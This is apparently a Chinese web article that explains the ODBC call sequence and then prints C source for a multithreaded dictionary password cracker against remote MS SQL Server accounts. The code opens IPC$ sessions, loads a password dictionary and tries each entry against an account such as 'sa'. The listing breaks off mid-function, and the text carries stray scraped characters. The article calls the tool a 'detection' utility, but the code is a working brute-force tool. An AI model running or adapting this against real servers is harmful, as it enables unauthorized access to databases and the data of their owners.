日期:2014-02-24  浏览次数:20623 次

ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于远程访问数据库(主要是关系型数据库)的统一界面标准。  ODBC下现实运用中是一个数据库的访问库,它提供了一组ODBC API函数可以提供给编程者使用。对于程序员来说,ODBC API函数集实际上等于一个动态连接库(DLL)集,可以在应用程序中直接使用它们。



一个应用程序直接调用ODBC API函数来进行数据库的应用工作,工作过程一般比较复杂。其中一种办法大概是以下几步:
<1>启动ODBC数据库应用程序。
<2>与服务器建立IPC SESSION。
<3>创建数据库应用的环境句柄。
<4>创建连接句柄。
<5>连接数据源。
<6>创建语句句柄。
<7>通过上一步创建的语句句柄来执行SQL操作。
<8>释放语句句柄。
<9>要进行多此SQL操作的话,就循环步骤6-8。
<10>断开与数据库的连接。
<11>释放连接句柄。
<12>释放环境句柄。
<13>断开IPC SESSION。
<14>程序结束。

下面以一个实例来说明远程检测MS SQL Server账号密码的全过程。
-.iTbulo.comiPmzU

/**********************************************************
Module Name:SQLCheck.c
Date:2000.12.14
WEB:www.patching.net
Notices:Copyright(c) eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include

////////////////////////////////////////////////////////////////////////
file://定义全局变量
char dict[20000][40],//密码字典
UserName[40],//用户名
target[40],//目标服务器
passwd[40];//已经探测出来的正确密码
int total=0;//字典里面单词数量
BOOL Cracked=FALSE;//探测密码成功时此值为TRUE
HANDLE hSemaphore,//信标内核对象
hEvent;//事件内核对象
long MaxThreads,//最大线程数量
ActiveThreads;//活动线程数量
////////////////////////////////////////////////////////////////////////
void usage(char *pragname)
{
printf("\nPower by eyas"
"\nhttp://www.patching.net"
"\n2000/12/14"
"\n\nUsage:%s "
"\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);
return;
}

////////////////////////////////////////////////////////////////////////
int ReadDic(char *dic)
{
FILE *fp;
char tmp[40];

file://打开字典文件
if((fp=fopen(dic,"r"))==NULL)
{
printf("\nCan't open %s",dic);
return 1;
}

while(!feof(fp))
{
file://读取数据到临时变量
if(fgets(tmp,40,fp)==NULL)
break;
file://把从文件里面读出来的最后一位数据[换行符号]去掉
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return 0;
}
////////////////////////////////////////////////////////////////////////
int ConnIPC(char *RemoteName)
{
NETRESOURCE nr;
Dword flags=CONNECT_UPDATE_PROFILE;
TCHAR RN[30]="\\\\",
LN[5]="";

strcat(RN,RemoteName);
strcat(RN,"\\ipc$");

nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;

if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
int DelIPC(char *RemoteName)
{
Dword ret;
TCHAR lpName[30]="\\\\";

strcat(lpName,RemoteName);
strcat(lpName,"\\ipc$");

ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
Dword WINAPI SQLCheck(PVOID pPwd)
{
file://定义局部变量
char szBuffer[1025];
char *pwd;
Sword swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API运行返回值
SCHAR ConnStr[200];//连接数据库字符串
long PreviousCount;

file://取得传递过来准备探测的密码
pwd=(char *)pPwd;
file://构造连接数据库字符
sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
target,UserName,pwd);
file://puts(ConnStr);
__try{
file://创建数据库应用的环境句柄
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCES